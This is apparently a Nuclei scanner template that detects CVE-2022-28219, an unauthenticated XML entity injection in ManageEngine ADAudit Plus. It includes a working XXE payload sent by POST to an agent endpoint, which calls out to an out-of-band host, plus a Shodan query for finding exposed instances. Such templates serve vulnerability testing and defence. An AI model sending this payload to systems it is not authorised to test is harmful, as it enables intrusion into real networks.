id: CVE-2022-28219

info:
  name: Zoho ManageEngine ADAudit Plus <7600 - XML Entity Injection/Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: |
    Zoho ManageEngine ADAudit Plus before version 7060 is vulnerable to an
    unauthenticated XML entity injection attack that can lead to remote code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code or perform remote code execution on the affected system.
  remediation: |
    Update to ADAudit Plus build 7060 or later, and ensure ADAudit Plus
    is configured with a dedicated service account with restricted privileges.
  reference:
    - https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html
    - https://www.horizon3.ai/red-team-blog-cve-2022-28219/
    - https://manageengine.com
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28219
    - http://cewolf.sourceforge.net/new/index.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-28219
    cwe-id: CWE-611
    epss-score: 0.97392
    epss-percentile: 0.99909
    cpe: cpe:2.3:a:zohocorp:manageengine_adaudit_plus:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zohocorp
    product: manageengine_adaudit_plus
    shodan-query: http.title:"ADAudit Plus" || http.title:"ManageEngine - ADManager Plus"
  tags: cve,cve2022,xxe,rce,zoho,manageengine,unauth,zohocorp

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/agent/tabs/agentData"

    body: |
      [
        {
          "DomainName": "{{Host}}",
          "EventCode": 4688,
          "EventType": 0,
          "TimeGenerated": 0,
          "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><! foo [ <!ENTITY % xxe SYSTEM \"http://{{interactsh-url}}\"> %xxe; ]>"
        }
      ]

    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: body
        words:
          - "ManageEngine"
# digest: 4b0a00483046022100adfe043ed717eb4c2bd34e54d594afa7fcd27ffa6a5abaa6d34ae8fe396dcd53022100ad5db93b3daf8c1043b3d88354716768831713fd53728c5fe7d83373dbdca6b8:922c64590222798bb761d5b6d8e72950